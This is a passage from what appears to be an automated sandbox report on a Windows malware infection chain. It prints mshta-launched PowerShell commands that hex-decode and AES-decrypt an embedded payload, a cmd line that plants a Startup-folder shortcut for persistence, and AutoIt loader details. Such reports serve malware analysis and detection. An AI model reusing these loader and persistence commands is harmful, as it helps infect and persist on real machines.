28FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webpJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function clean ($yubmqnrj){return -split ($yubmqnrj -replace '..', '0x$& ')};$jqjjsu = clean('5b4d0aac74af94b96de6d0711e9796af44d95584c20a8120e5f4c2d55e092a7a2d251da390909853b5c79690e93a85cb92b9fdefc65f3cdb1d06cc6879b4516928a8bf4dbb11970d2a2bd075032d2fca7e0d722aaa3530ce3eb19e65fe575e8a25bed1c1bf5dffd683fb4bc2eaa8fe8f1a60500155478d87fac118323c432f5036d59616b9773d97224fa5d5f611314ade0d4c1d3748eb30f2d127d9e5d8abfd58bf6dfab496b4151926b4932eb4e2002c026f0dad699e3bf4e2afba35ac0d2467be27d487758c9f0e13b99ab91507093da9b8c8f3fc004623b2ac22915ff6dda0f2a151fd5c5bc18ffc2d1ad49092e43840545b43c3931b9431f537a4eaf81384fce89e341cb162f0d74c7c8bbe83a369f44c7c8ad2314cde87c92213f354f43436dd67669190c7cf80eab568c8ffe5df1d7a7289e9afcc57749726d4170cb358f474a9b394f92f7a7c59b69e1d4f3048a9af1b1bf6458c6dc0905071fc67bf46b82ab406fd2e0dd0353a56db42cc22a38391221f97af42c621e21e76aad151b423b4198f39a2c8b1b8521c9400861ea34b51e60b32dcf611b5ba64111cb29e6119a047b3c01f8189c05f98facd727c23b17202459a7730c79c74bf89421b7760627c3ef646b0fa2677d229451827319989785d6b8f597dd83e86ce034f586ec33bfb81cea7484471e4468f516fd291ff97f14bf7e804a851c2c5526f5c84be28fadd849079ef0089ceb62a808a2394ffc96a219396786cd01610be36929bf865e35cd69e6a8e9b2594734c53b954ce005a47ed538e28d7bce8e8b096462399f500f3b6d157e20db80631f70368aa3e87f3e6b4a33350e734fe88f2d62fd30b450a5f8061ad2d42d59e00eb1797e197155f3cc5a81e5a28e6fe0a7847c64d970d00eb3212f922e5a69edcca6a771b579da91e8062f135579a2f596f4fb904e51632ec3798751469a06b55f431b3c278d02ba162bad2051dd8ecef925c3b148acc6cf884d595f47eced7ee54a234964c7ac1c53386ee8add5543aab0a0a455d9bc24791a136e50cbe3c2494a9e1c02e194a3c9aecb489457f71355b11d616c94ad17918390627c6f8d0ebfec0d4b85391a1f467aeb4171df3219bb517eb07410a106ff89cca8023c0cf6c0f5251a8e428413363d25f0b505e17aec003693e130a590db8bbe133ffb0bdbc8930da536699d6daac01bb7fd671dbe8deff6b4028fe57fcb454dad571f21c46e58bed7cc67f8f8b3f124e43476cd67f681f52f9e21044f8c5361a690a893fa06d69e2db01a27f3503c04be81bb4a323f8eecba5358ddb14c9ec0469aee1544fb484b6d1a6724132b29f8451bf425b1b9762aa86e3a6ed9a28760c77fec629ae93e74262197d8d6b10f23ed27497ecc808d24e7d6e88ceb1d5788785816c5fa9eab87109e431c7c6442ba4fc96da32d0841a2c60881b66136d63452d540be93e778edec6ba91d01916a1eec4eb6a74f22241194ec1eedc14528eac307306f8e6caaac68402c965a0ce3a683f3bf2b61f6bebd7ec1347eecf6d52329c0f2d6ee0fdc59ad85c3a7b382ee197c38a04dde6fef2ebdf6f21091dd434e3ed41f090c5a4ab1dea7cc5df529dc4724f97f443e9f7616218b009bbae57d41ac9b157fab29601988a46216f36f8fcde4cd489509e890aa17820ac29a5f377819ebd437d5f8da703dc69541b92f3dba8114f5f49d9915b9c79a2e77bd647e7e439d93ae77d39ef6f453bb');$nvgovia = [system.security.cryptography.aes]::create();$nvgovia.key = clean('5045706b41635763586c7a575a435a61');$nvgovia.iv = new-object byte[] 16;$uorhoamrf = $nvgovia.createdecryptor();$gaccxepxb = [text.encoding]::utf8.getstring($uorhoamrf.transformfinalblock($jqjjsu, 0,$jqjjsu.length));
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function clean ($yubmqnrj){return -split ($yubmqnrj -replace '..', '0x$& ')};$jqjjsu = clean('5b4d0aac74af94b96de6d0711e9796af44d95584c20a8120e5f4c2d55e092a7a2d251da390909853b5c79690e93a85cb92b9fdefc65f3cdb1d06cc6879b4516928a8bf4dbb11970d2a2bd075032d2fca7e0d722aaa3530ce3eb19e65fe575e8a25bed1c1bf5dffd683fb4bc2eaa8fe8f1a60500155478d87fac118323c432f5036d59616b9773d97224fa5d5f611314ade0d4c1d3748eb30f2d127d9e5d8abfd58bf6dfab496b4151926b4932eb4e2002c026f0dad699e3bf4e2afba35ac0d2467be27d487758c9f0e13b99ab91507093da9b8c8f3fc004623b2ac22915ff6dda0f2a151fd5c5bc18ffc2d1ad49092e43840545b43c3931b9431f537a4eaf81384fce89e341cb162f0d74c7c8bbe83a369f44c7c8ad2314cde87c92213f354f43436dd67669190c7cf80eab568c8ffe5df1d7a7289e9afcc57749726d4170cb358f474a9b394f92f7a7c59b69e1d4f3048a9af1b1bf6458c6dc0905071fc67bf46b82ab406fd2e0dd0353a56db42cc22a38391221f97af42c621e21e76aad151b423b4198f39a2c8b1b8521c9400861ea34b51e60b32dcf611b5ba64111cb29e6119a047b3c01f8189c05f98facd727c23b17202459a7730c79c74bf89421b7760627c3ef646b0fa2677d229451827319989785d6b8f597dd83e86ce034f586ec33bfb81cea7484471e4468f516fd291ff97f14bf7e804a851c2c5526f5c84be28fadd849079ef0089ceb62a808a2394ffc96a219396786cd01610be36929bf865e35cd69e6a8e9b2594734c53b954ce005a47ed538e28d7bce8e8b096462399f500f3b6d157e20db80631f70368aa3e87f3e6b4a33350e734fe88f2d62fd30b450a5f8061ad2d42d59e00eb1797e197155f3cc5a81e5a28e6fe0a7847c64d970d00eb3212f922e5a69edcca6a771b579da91e8062f135579a2f596f4fb904e51632ec3798751469a06b55f431b3c278d02ba162bad2051dd8ecef925c3b148acc6cf884d595f47eced7ee54a234964c7ac1c53386ee8add5543aab0a0a455d9bc24791a136e50cbe3c2494a9e1c02e194a3c9aecb489457f71355b11d616c94ad17918390627c6f8d0ebfec0d4b85391a1f467aeb4171df3219bb517eb07410a106ff89cca8023c0cf6c0f5251a8e428413363d25f0b505e17aec003693e130a590db8bbe133ffb0bdbc8930da536699d6daac01bb7fd671dbe8deff6b4028fe57fcb454dad571f21c46e58bed7cc67f8f8b3f124e43476cd67f681f52f9e21044f8c5361a690a893fa06d69e2db01a27f3503c04be81bb4a323f8eecba5358ddb14c9ec0469aee1544fb484b6d1a6724132b29f8451bf425b1b9762aa86e3a6ed9a28760c77fec629ae93e74262197d8d6b10f23ed27497ecc808d24e7d6e88ceb1d5788785816c5fa9eab87109e431c7c6442ba4fc96da32d0841a2c60881b66136d63452d540be93e778edec6ba91d01916a1eec4eb6a74f22241194ec1eedc14528eac307306f8e6caaac68402c965a0ce3a683f3bf2b61f6bebd7ec1347eecf6d52329c0f2d6ee0fdc59ad85c3a7b382ee197c38a04dde6fef2ebdf6f21091dd434e3ed41f090c5a4ab1dea7cc5df529dc4724f97f443e9f7616218b009bbae57d41ac9b157fab29601988a46216f36f8fcde4cd489509e890aa17820ac29a5f377819ebd437d5f8da703dc69541b92f3dba8114f5f49d9915b9c79a2e77bd647e7e439d93ae77d39ef6f453bb');$nvgovia = [system.security.cryptography.aes]::create();$nvgovia.key = clean('5045706b41635763586c7a575a435a61');$nvgovia.iv = new-object byte[] 16;$uorhoamrf = $nvgovia.createdecryptor();$gaccxepxb = [text.encoding]::utf8.getstring($uorhoamrf.transformfinalblock($jqjjsu, 0,$jqjjsu.length)); Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BAC858 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,18_2_00007FF697BAC858
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BAD540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,18_2_00007FF697BAD540
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72C8E000.00000004.00000800.00020000.00000000.sdmp, PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmp, Guard.exe, 0000001B.00000000.1655306693.0000000000386000.00000002.00000001.01000000.00000010.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: PefjSkkhb.exe, Guard.exe, SwiftWrite.pifBinary or memory string: Shell_TrayWnd
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B7FD20 cpuid 18_2_00007FF697B7FD20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B7BEF8 GetSystemTimeAsFileTime,18_2_00007FF697B7BEF8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BA2BCF GetUserNameW,18_2_00007FF697BA2BCF
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B82650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,18_2_00007FF697B82650
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B61D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,18_2_00007FF697B61D80
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: powershell.exe, 00000019.00000002.1890809020.0000026D23522000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Users\Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Users\Public\Guard.exe
Source: Guard.exe, 0000001B.00000002.2609994966.0000000000CF8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Device\HarddiskVolume3\Users\Public\Guard.exe
Source: Guard.exe, 0000001B.00000002.2609705099.0000000000C00000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Windows\system32\C:\Users\Public\Guard.exe"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 C:\Users\Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1890809020.0000026D23546000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1659083377.0000026D092C7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1887300200.0000026D23301000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1682568652.0000000004441000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1665900521.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1682452298.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1669898670.0000000004441000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1670776277.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1657905052.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1670395732.0000000000C60000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001B.00000003.1670990260.0000000000C60000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Guard.exe
Source: powershell.exe, 00000019.00000002.1890809020.0000026D23522000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2C:\Users\Public\Guard.exe
Source: PefjSkkhb.exe, 00000012.00000002.1598905684.000001C1375E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1890809020.0000026D23546000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1890809020.0000026D234E3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, Guard.exe, 0000001B.00000002.2609271958.00000000009BF000.00000004.00000010.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2609271958.00000000009CF000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: C:\Users\Public\Guard.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B258000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \Users\Public\Guard.exe
Source: SwiftWrite.pifBinary or memory string: WIN_81
Source: SwiftWrite.pifBinary or memory string: WIN_XP
Source: SwiftWrite.pifBinary or memory string: WIN_XPe
Source: SwiftWrite.pifBinary or memory string: WIN_VISTA
Source: PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pifBinary or memory string: WIN_7
Source: SwiftWrite.pifBinary or memory string: WIN_8
Source: SwiftWrite.pif, 0000001F.00000002.2609273563.0000000000DD6000.00000002.00000001.01000000.00000011.sdmpBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,18_2_00007FF697BD4074
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,18_2_00007FF697BD3940
Source: C:\Users\Public\Guard.exeCode function: 27_2_0034696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,27_2_0034696E
Source: C:\Users\Public\Guard.exeCode function: 27_2_00346E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,27_2_00346E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D9696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,31_2_00D9696E
